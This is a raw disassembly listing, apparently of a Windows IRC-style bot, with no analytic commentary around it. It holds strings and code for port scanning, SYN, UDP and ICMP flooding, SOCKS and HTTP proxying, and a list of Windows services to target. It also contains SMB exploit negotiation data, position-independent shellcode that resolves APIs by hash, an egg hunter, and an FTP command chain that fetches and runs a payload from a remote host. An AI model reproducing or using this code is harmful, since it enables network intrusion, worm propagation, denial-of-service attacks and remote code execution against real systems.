aFtpD_D_D_DOnD	db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
		align 8
aDDUseridUnixS	db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
		align 4
		dd 0
aBinres		db 'BINRES',0           ; DATA XREF: ___:0041FCBDo
		align 4
aUnknown	db 'unknown',0          ; DATA XREF: sub_41FF90:loc_41FFE5o
					; sub_420530+C4r ...
		align 10h
aImagepath	db 'ImagePath',0        ; DATA XREF: sub_4200F0+CBo
					; sub_4207E0+316o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
					; sub_4207E0+2BEo
		align 8
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
		align 4
aGetmodulefilen	db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
		align 8
aEnumprocessmod	db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
		align 10h
aEnumprocesses	db 'EnumProcesses',0    ; DATA XREF: sub_420530+52o
		align 10h
aPsapi_dll	db 'PSAPI.DLL',0        ; DATA XREF: sub_420530+20o
					; sub_420530+34o
		align 4
aSS		db '[%s] [%s]',0        ; DATA XREF: sub_4207E0+34Co
		align 4
aS????_exe	db '[%s] [????.exe]',0  ; DATA XREF: sub_4207E0+32Do
		dd 0
aS????_exeUnkno	db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
		align 10h
aThemes		db 'Themes',0           ; DATA XREF: sub_4207E0+1F6o
		align 4
aSrservice	db 'srservice',0        ; DATA XREF: sub_4207E0+1EBo
		align 4
aWuauserv	db 'wuauserv',0         ; DATA XREF: sub_4207E0+1E0o
		align 10h
aWzcsvc		db 'WZCSVC',0           ; DATA XREF: sub_4207E0+1D5o
		align 4
aWinmgmt	db 'winmgmt',0          ; DATA XREF: sub_4207E0+1CAo
		dd 0
aWebclient	db 'WebClient',0        ; DATA XREF: sub_4207E0+1BFo
		align 10h
aW32time	db 'W32Time',0          ; DATA XREF: sub_4207E0+1B4o
		dd 0
aUpnphost	db 'upnphost',0         ; DATA XREF: sub_4207E0+1A9o
		align 4
aUploadmgr	db 'uploadmgr',0        ; DATA XREF: sub_4207E0+19Eo
		align 4
aTrkwks		db 'TrkWks',0           ; DATA XREF: sub_4207E0+193o
		align 4
aTermservice	db 'TermService',0      ; DATA XREF: sub_4207E0+188o
		dd 0
aTapisrv	db 'TapiSrv',0          ; DATA XREF: sub_4207E0+17Do
		align 8
aStisvc		db 'stisvc',0           ; DATA XREF: sub_4207E0+172o
		align 10h
aSsdpsrv	db 'SSDPSRV',0          ; DATA XREF: sub_4207E0+167o
		dd 0
aSpooler	db 'Spooler',0          ; DATA XREF: sub_4207E0+15Co
		align 8
aShellhwdetecti	db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
		align 4
aSens		db 'SENS',0             ; DATA XREF: sub_4207E0+146o
		align 4
aSeclogon	db 'seclogon',0         ; DATA XREF: sub_4207E0+13Bo
		align 10h
aSchedule	db 'Schedule',0         ; DATA XREF: sub_4207E0+130o
		align 4
aSamss		db 'SamSs',0            ; DATA XREF: sub_4207E0+125o
		align 4
aRpcss		db 'RpcSs',0            ; DATA XREF: sub_4207E0+11Ao
		align 4
aRasman		db 'RasMan',0           ; DATA XREF: sub_4207E0+10Fo
		align 4
aProtectedstora	db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
		align 4
aPolicyagent	db 'PolicyAgent',0      ; DATA XREF: sub_4207E0+F9o
		align 8
aPlugplay	db 'PlugPlay',0         ; DATA XREF: sub_4207E0+EEo
		align 4
off_444314	dd offset word_616C4E	; DATA XREF: sub_4207E0+E3o
aNetman		db 'Netman',0           ; DATA XREF: sub_4207E0+D8o
		align 10h
aMessenger	db 'Messenger',0        ; DATA XREF: sub_4207E0+CDo
		align 4
off_44432C	dd offset byte_4D444D	; DATA XREF: sub_4207E0+C5o
aLmhosts	db 'LmHosts',0          ; DATA XREF: sub_4207E0+BDo
		dd 0
aLanmanworkstat	db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
		align 10h
		dd 0
aLanmanserver	db 'lanmanserver',0     ; DATA XREF: sub_4207E0+ADo
		align 4
aHelpsvc	db 'helpsvc',0          ; DATA XREF: sub_4207E0+A5o
		align 10h
aFastuserswitch	db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
		align 10h
		dd 2 dup(0)
aEventsystem	db 'EventSystem',0      ; DATA XREF: sub_4207E0+95o
		align 8
aEventlog	db 'Eventlog',0         ; DATA XREF: sub_4207E0+8Do
		align 4
aErsvc		db 'ERSvc',0            ; DATA XREF: sub_4207E0+85o
		align 4
aDnscache	db 'Dnscache',0         ; DATA XREF: sub_4207E0+7Do
		align 4
aDmserver	db 'dmserver',0         ; DATA XREF: sub_4207E0+75o
		align 4
aDhcp		db 'Dhcp',0             ; DATA XREF: sub_4207E0+6Do
		align 4
aCryptsvc	db 'CryptSvc',0         ; DATA XREF: sub_4207E0+65o
		align 4
aBrowser	db 'Browser',0          ; DATA XREF: sub_4207E0+5Do
		dd 0
aAudiosrv	db 'AudioSrv',0         ; DATA XREF: sub_4207E0+55o
					; sub_4207E0:loc_420A6Bo
		align 10h
asc_444400:				; DATA XREF: sub_420E10:loc_420ECFo
					; sub_420E10+F9o ...
		unicode	0, </>,0
aFtp		db 'ftp',0              ; DATA XREF: sub_420E10+94o
					; sub_420E10:loc_42107Eo ...
aHttp		db 'http',0             ; DATA XREF: sub_420E10+84o
					; sub_420E10+257o ...
		align 10h
aAsn		db 'asn',0              ; DATA XREF: sub_4227F0+31o
		dd 0
		dd 73610000h, 6Eh, 6 dup(0)
dword_444438	dd 1BDh							; sub_422A40+310o ...
off_44443C	dd offset sub_401811	; DATA XREF: ___:00423E93r
dword_444440	dd 0							; sub_4235F0+3Ar ...
		dd 1, 0
aAsn2		db 'asn2',0
		align 4
		dd 73610000h, 326Eh, 6 dup(0)
		dd 1BDh, 401811h, 0
		dd 1, 19h dup(0)
aScanSSPortScan	db 'Scan(%s): %s Port Scan %s:%d - Delay %d Sec - %d Min - %d threads'
					; DATA XREF: sub_422A40+8F3o
		db 0
		align 4
		dd 3 dup(0)
aSequential	db 'sequential',0       ; DATA XREF: sub_422A40+8B3o
		align 8
aRandom		db 'random',0           ; DATA XREF: sub_422A40+8ACo
		align 10h
aScanNoIpSpecif	db 'scan: no ip specified',0 ; DATA XREF: sub_422A40+760o
		align 4
		dd 0
off_44456C	dd offset dword_622D20	; DATA XREF: sub_422A40+747o
off_444570	dd offset dword_612D20	; DATA XREF: sub_422A40+737o
					; sub_422A40+7A3o ...
dword_444574	dd 722D20h						; sub_422A40+7E5o
aScanInvalidPor	db 'scan: invalid port',0 ; DATA XREF: sub_422A40+640o
		align 10h
aTotalD		db ' total: %d',0       ; DATA XREF: sub_422A40+397o
		align 10h
aSD		db ' %s: %d,',0         ; DATA XREF: sub_422A40+35Fo
		align 4
aScanStats	db 'scan: stats:',0     ; DATA XREF: sub_422A40+336o
		align 4
aScanTooManyThr	db 'scan: too many threads (%s)',0 ; DATA XREF: sub_422A40+275o
		align 10h
aScanCouldnTSto	db 'scan: couldn',27h,'t stop',0 ; DATA XREF: sub_422A40+1DAo
		align 8
aScanStoppedDTh	db 'scan: stopped (%d threads)',0 ; DATA XREF: sub_422A40+197o
		align 8
aFtpPortDTotalS	db 'ftp: port: %d, total sends: %d',0 ; DATA XREF: sub_422A40+140o
		align 10h
aScanNotStarted	db 'scan: not started',0 ; DATA XREF: sub_422A40+B2o
		align 8
aScanCipS	db 'scan: cip (%s)',0   ; DATA XREF: sub_422A40+6Do
		align 4
		dd 0
dword_44466C	dd 6B636F53h, 63207465h, 65736F6Ch, 2E64h, 0aRecvfromSocket	db 'recvfrom() socket failed',0 ; DATA XREF: ___:loc_423B42o
		align 10h
aSocketOpen_	db 'Socket open.',0     ; DATA XREF: ___:00423B25o
		align 10h
aSendtoSocketFa	db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: ___:00423A95o
		align 10h
aSocketOpenFail	db 'socket open failed',0 ; DATA XREF: ___:00423A5Fo
		align 8
aScanIpSPortDIs	db '[SCAN]: IP: %s, Port %d is open.',0 ; DATA XREF: ___:00423D3Ao
		align 10h
aScanIpSDScanTh	db '[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:00423CD6o
		align 10h
aScanFinishedAt	db '[SCAN]: Finished at %s:%d after %d minute(s) of scanning.',0
					; DATA XREF: ___:004241D7o
		align 4
		dd 3 dup(0)
aScanFailedToSt	db '[SCAN]: Failed to start worker thread, error: <%d>.',0
					; DATA XREF: ___:00424126o
		dd 3 dup(0)
aScanSDScanThre	db '[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d.',0
					; DATA XREF: ___:0042406Fo
		dd 3 dup(0)
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_424840+BDo
		align 10h
dword_444830	dd 10FF8h, 0	dword_444838	dd 10FF8h	dword_44483C	dd 7FFDF020h, 0	dword_444844	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4448CC	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4448FC	dd 0		dword_444900	dd 800000D4h			align 8

; =============== S U B	R O U T	I N E =======================================



sub_444908	proc near		; DATA XREF: sub_425020+85o
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_444A04
		push	dword ptr [esi]
		push	63D61209h
		call	sub_444A1A
		mov	[esi+8], eax
		call	sub_4449CD
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_444A1A
		mov	[esi+0Ch], eax
		call	sub_44497F
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_444A1A
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_444908	endp


; =============== S U B	R O U T	I N E =======================================



sub_44497F	proc near		; CODE XREF: sub_444908+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_4449A8
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_44497F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449A8	proc near		; CODE XREF: sub_44497F+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_4449B7:				; CODE XREF: sub_4449A8+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_4449C4
		inc	ebx
		jmp	short loc_4449B7
; ---------------------------------------------------------------------------


loc_4449C4:				; CODE XREF: sub_4449A8+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_4449A8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4449CD	proc near		; CODE XREF: sub_444908+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_4449E5:				; CODE XREF: sub_4449CD+1Ej
		cmp	[ecx], ebx
		jz	short loc_4449ED
		mov	ecx, [ecx]
		jmp	short loc_4449E5
; ---------------------------------------------------------------------------


loc_4449ED:				; CODE XREF: sub_4449CD+1Aj
		mov	edx, edi


loc_4449EF:				; CODE XREF: sub_4449CD+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4449F9
		mov	edx, [edx+4]
		jmp	short loc_4449EF
; ---------------------------------------------------------------------------


loc_4449F9:				; CODE XREF: sub_4449CD+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4449CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A04	proc near		; CODE XREF: sub_444908+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_444A04	endp


; =============== S U B	R O U T	I N E =======================================



sub_444A1A	proc near		; CODE XREF: sub_444908+16p
					; sub_444908+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_444A30:				; CODE XREF: sub_444A1A+33j
		jecxz	short loc_444A6A
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_444A3D:				; CODE XREF: sub_444A1A+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_444A49
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_444A3D
; ---------------------------------------------------------------------------


loc_444A49:				; CODE XREF: sub_444A1A+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_444A30
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_444A6A:				; CODE XREF: sub_444A1A:loc_444A30j
					; sub_444A1A:loc_444A6Aj
		jmp	short loc_444A6A
sub_444A1A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_444A70	proc near		; DATA XREF: sub_425020+1Eo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_444AC2
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_444A8D:				; CODE XREF: sub_444A70+38j
		jecxz	short loc_444ABD
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_444A98:				; CODE XREF: sub_444A70+32j
		lodsb
		test	al, al
		jz	short loc_444AA4
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_444A98
; ---------------------------------------------------------------------------


loc_444AA4:				; CODE XREF: sub_444A70+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_444A8D
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_444ABD:				; CODE XREF: sub_444A70:loc_444A8Dj
		mov	[esp+arg_0], ebx
		retn
sub_444A70	endp


; =============== S U B	R O U T	I N E =======================================



sub_444AC2	proc near		; CODE XREF: sub_444A70+7p

; FUNCTION CHUNK AT 00444AFA SIZE 00000005 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_444ADB
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_444AE6
; ---------------------------------------------------------------------------


loc_444ADB:				; CODE XREF: sub_444AC2+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_444AE6:				; CODE XREF: sub_444AC2+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_444AFA
sub_444AC2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_444AED	proc near		; CODE XREF: sub_444AC2:loc_444AFAp
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_444AED	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444AC2


loc_444AFA:				; CODE XREF: sub_444AC2+29j
		call	sub_444AED
; END OF FUNCTION CHUNK	FOR sub_444AC2
; ---------------------------------------------------------------------------
		db 0
		dd 25h dup(0)
dword_444B94	dd 23h		dword_444B98	dd 60h		dword_444B9C	dd 62B0606h, 2050501h, 0A0hdword_444BA8	dd 0A1h		dword_444BAC	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_424840+16Do
		align 4


loc_444BB8:				; DATA XREF: sub_424840+100o
		jmp	short near ptr dword_444BC0
; ---------------------------------------------------------------------------
		align 10h
dword_444BC0	dd 0		aCmdCEchoOpenSD	db 'cmd /c echo open %s %d >> ii &echo user a a >> ii &echo binary >>'
					; DATA XREF: sub_425020+60o
		db ' ii &echo get %s >> ii &echo bye >> ii &ftp -n -v -s:ii &del ii &'
		db '%s',0Dh,0Ah,0
		align 4
		dd 7 dup(0)
; ---------------------------------------------------------------------------


loc_444C68:				; DATA XREF: sub_4254E0+CCo
		jmp	short loc_444C6C
; ---------------------------------------------------------------------------


loc_444C6A:				; CODE XREF: ___:loc_444C6Cp
		jmp	short loc_444C71
; ---------------------------------------------------------------------------


loc_444C6C:				; CODE XREF: ___:loc_444C68j
		call	loc_444C6A


loc_444C71:				; CODE XREF: ___:loc_444C6Aj
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 66h,	0B9h
word_444C76	dw 0FFFFh		; DATA XREF: sub_4254E0+D3w
		db 80h,	73h, 0Eh
byte_444C7B	db 0FFh			; DATA XREF: sub_4254E0+DAw
		dd 0F9E243h
; ---------------------------------------------------------------------------


loc_444C80:				; DATA XREF: sub_4254E0+A7o
		jmp	short loc_444C84
; ---------------------------------------------------------------------------


loc_444C82:				; CODE XREF: ___:loc_444C84p
		jmp	short loc_444C89
; ---------------------------------------------------------------------------


loc_444C84:				; CODE XREF: ___:loc_444C80j
		call	loc_444C82


loc_444C89:				; CODE XREF: ___:loc_444C82j
		pop	ebx
		xor	ecx, ecx
; ---------------------------------------------------------------------------
		db 0B1h
byte_444C8D	db 0FFh			; DATA XREF: sub_4254E0+AEw
		dw 7380h
		db 0Ch
byte_444C91	db 0FFh			; DATA XREF: sub_4254E0+B4w
		dw 0E243h
		dd 0F9h
dword_444C98	dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
					; DATA XREF: sub_425270+43o
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
dword_444CFC	dd 12h				dd 70746674h, 6578652Eh, 20692D20h
dword_444D0C	dd 74656720h	byte_444D10	db 20h			; DATA XREF: sub_425270+A2r
dword_444D11	dd 0E8006A00h	dword_444D15	dd 17h							; sub_425270+D2r
dword_444D19	dd 0E8C30175h	dword_444D1D	dd 1							; sub_425270+E7r
byte_444D21	db 0, 6Ah, 0		; DATA XREF: sub_425270+110o
		dd 7E8h
		db 0, 0Fh, 84h
dword_444D2B	dd 0FFFFFFEDh	; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4
		dd 0Ch dup(0)
aPing		db 'ping',0             ; DATA XREF: sub_426450+22o
		align 4
aSCannotSendPin	db '[%s] Cannot send pings - Doesn',27h,'t have DLLs',0
					; DATA XREF: sub_4266A0+D0o
		align 10h
		dd 2 dup(0)
aSFinishedFlood	db '[%s] Finished flooding %s %d Times',0 ; DATA XREF: sub_4266A0+B4o
		align 4
		dd 2 dup(0)
aSSUtimesUbytes	db '%s: %s (%utimes/%ubytes/%dms)',0 ; DATA XREF: sub_4266A0+43o
		align 8
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_426820+38o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_426820+2Bo
		dd 0
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_426820+23o
		align 10h
aIcmp_dll	db 'ICMP.DLL',0         ; DATA XREF: sub_426820+Co
		align 4
aForsyn		db 'forsyn',0           ; DATA XREF: sub_4269A0+22o
		align 4
aSAttack@SDDone	db '%s: attack@%s:%d done.',0 ; DATA XREF: sub_426A60+195o
		align 10h
aSErrorCreating	db '%s: error creating threads',0 ; DATA XREF: sub_426A60+143o
		align 10h
aSSUDseconds	db '%s: %s:%u (%dseconds)',0 ; DATA XREF: sub_426A60+D3o
		align 4
		dd 0
aSyn		db 'syn',0              ; DATA XREF: sub_426EB0+22o
aSSDIkbSec	db '%s: %s:%d (%ikb/sec)',0 ; DATA XREF: ___:00427031o
		align 4
		dd 0
aSSUUsecDms	db '%s: %s:%u (%usec/%dms)',0 ; DATA XREF: sub_426F70+43o
		align 8
aUdp		db 'udp',0              ; DATA XREF: sub_427590+22o
aSSDDone	db '%s: %s:%d done',0   ; DATA XREF: sub_427650+C0o
		align 10h
aSSUUtUbDms	db '%s: %s:%u (%ut/%ub/%dms)',0 ; DATA XREF: sub_427650+47o
		align 10h
off_444F30	dd offset byte_455247	; DATA XREF: sub_427DC0+22o
aSFinishedRedir	db '[%s] Finished redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+AAo
		dd 3 dup(0)
aSStartedRedire	db '[%s] Started redirect from "%s" to "%s" over "%s".',0
					; DATA XREF: sub_428040+33o
		align 4
		dd 3 dup(0)
aHttp1_0503Se_0	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+1101o
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Connection to %s:%d has failed',0Ah,0
		align 10h
		dd 7 dup(0)
aHttp1_0503Serv	db 'HTTP/1.0 503 Service Unavailable',0Dh,0Ah ; DATA XREF: sub_4282C0+109Co
		db 'Server: IIS/5.03',0Dh,0Ah
		db 'Content-Type: text/html',0Dh,0Ah
		db 'Proxy-Connection: close',0Dh,0Ah
		db 0Dh,0Ah
		db 0Dh,0Ah
		db 'Error Resolving %s',0Ah,0
		align 4
		dd 6 dup(0)
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4282C0+D12o
		db 0Dh,0Ah,0
		dd 2 dup(0)
aConnectionClos	db 'Connection: Close',0Dh,0Ah,0 ; DATA XREF: sub_4282C0:loc_428E41o
					; sub_4282C0+B97o
		dd 0
aConnectionKeep	db 'Connection: Keep-Alive',0Dh,0Ah,0 ; DATA XREF: sub_4282C0+B63o
					; sub_4282C0+B79o
		align 4
		dd 0
aConnection	db 'Connection:',0      ; DATA XREF: sub_4282C0+9A4o
		dd 0
aChunked	db 'chunked',0          ; DATA XREF: sub_4282C0+961o
		align 8
aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_4282C0+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_4282C0+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_4282C0+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_4282C0:loc_42886Bo
					; sub_4282C0+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_4282C0+580o
		align 10h
asc_445220	db 0Dh,0Ah,0		; DATA XREF: sub_4282C0+46Co
					; sub_4282C0+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_4282C0+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4282C0+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_4282C0+1CDo
		align 8
off_445248	dd offset byte_544547	; DATA XREF: sub_4282C0+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_4299C0+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429C30+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429C30+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429C30+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429D00+22o
					; sub_42A090+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A150+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A150+2Co
		align 10h
		dd 2 dup(0)
dword_445328	dd 1000005h, 0	dword_445330	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B880+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B880+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C435o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C3C1o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004453F8o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C810+49o
					; sub_42C810:loc_42C8CDo
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CB10:loc_42CB32o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CC50:loc_42CDECo
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D0D0+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D0D0+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D1A0+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D2C0+203o
		align 10h
		dd 0
dword_4454D4	dd 524F5453h	byte_4454D8	db 0			; DATA XREF: sub_42D2C0+EDr
		align 4
dword_4454DC	dd 52544552h	byte_4454E0	db 0			; DATA XREF: sub_42D2C0+D3r
		align 4
dword_4454E4	dd 5453494Ch	byte_4454E8	db 0			; DATA XREF: sub_42D2C0+B8r
		align 4
dword_4454EC	dd 54534C4Eh	byte_4454F0	db 0			; DATA XREF: sub_42D2C0+9Er
		align 4
dword_4454F4	dd 45505954h, 632520h, 0					; ___:0042E6CAo
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D2C0+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D580+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D580+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D580+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D580+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
